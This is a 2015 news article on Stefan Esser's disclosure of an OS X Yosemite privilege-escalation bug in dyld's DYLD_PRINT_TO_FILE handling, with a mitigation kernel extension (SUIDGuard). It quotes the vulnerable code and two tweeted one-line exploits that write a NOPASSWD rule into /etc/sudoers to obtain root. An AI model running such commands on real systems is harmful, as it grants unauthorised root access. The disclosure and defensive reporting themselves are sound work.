Security Hole in Apple OS X Privilege Escalation Bug Found

Security Hole in Apple OS X Privilege Escalation Bug Found

by Malik korrich ~ jeudi 23 juillet 2015

Security Hole in Apple OS X, Privilege Escalation Bug Found By Security Researcher Stephan Esser.

Esser said the vulnerability is present in both the current 10.10.4 (Yosemite) version of OS X and the current beta version of 10.10.5. 

Significantly, the present beta variant of 10.11 is free of the flaw, an evidence that Apple designers might as of now aware of the vulnerability. It wouldn't be astounding for the fix to discover its way into an incremental redesign to OS X released in the coming weeks.

Its the type of security hole attackers regularly exploit to bypass security protections built into modern operating systems and applications.

Esser explained in the blog post,

When Apple changed the dynamic linker code for OS X 10.10 to support the new DYLD_PRINT_TO_FILE environment variable they added the following code directly to the _main function of dyld. As you can see from this code the value of the environment variable is directly used as filename for the opened or created logging file.

const char* loggingPath = _simple_getenv(envp, "DYLD_PRINT_TO_FILE");
if ( loggingPath != NULL ) {
        int fd = open(loggingPath, O_WRONLY | O_CREAT | O_APPEND, 0644);
        if ( fd != -1 ) {
                sLogfile = fd;
                sLogToFile = true;
        }
        else {
                dyld::log("dyld: could not open DYLD_PRINT_TO_FILE='%s', errno=%d\n", loggingPath, errno);
        }
}


The problem with this code is that it does not come with any safeguards that are required when adding new environment variables to the dynamic linker. Normally for security reasons the dynamic linker should reject all environment variables passed to it in case of restricted files. This is automatically handled when new environment variables are added to the process DyldEnvironmentVariable() function. However in the DYLD_PRINT_TO_FILE case the code was directly added to the _main function of dyld.

Notwithstanding that it includes a relief against a typical trap to evade O_APPEND limitations on document descriptors.

How can we protect?

Before going into the exploitation of this problem please be reminded that because it will likely take months for Apple to react to this issue we released a kernel extension that protects from this vulnerability by stopping all DYLD_ environment variables form being recognized by the dynamic linker for SUID root binaries. In addition to that it adds a mitigation against a common trick to circumvent O_APPEND restrictions on file descriptors.

Essar tweeted:

echo python -c '"import os;os.write(3,\"ALL ALL=(ALL) NOPASSWD: ALL\")"'|DYLD_PRINT_TO_FILE=/etc/sudoers newgrp;sudo su # via reddit lsdhobo

— Stefan Esser (@i0n1c) July 22, 2015

echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo -s # via reddit: numinit (shorter)

— Stefan Esser (@i0n1c) July 22, 2015

If you want to fix this vulnerability before apple new update then here you can. Security researcher Esser explained to fix this vulnerability on GitHub.

SUIDGuard - A kernel extension adding mitigations to protect SUID/SGID binaries

SUIDGuard is a TrustedBSD kernel driver that implements several mitigations to protects against weaknesses usually involving SUID/SGID binaries.

• Protects SUID/SGID root binaries from DYLD_ environment variables by overwriting the string DYLD_ with XYLD_
• Protects the O_APPEND flag usually used when opening e.g. logfiles from being disabled by someone with credentials that are different from those used to open the file
• Tested with OS X Yosemite 10.10.4.

Download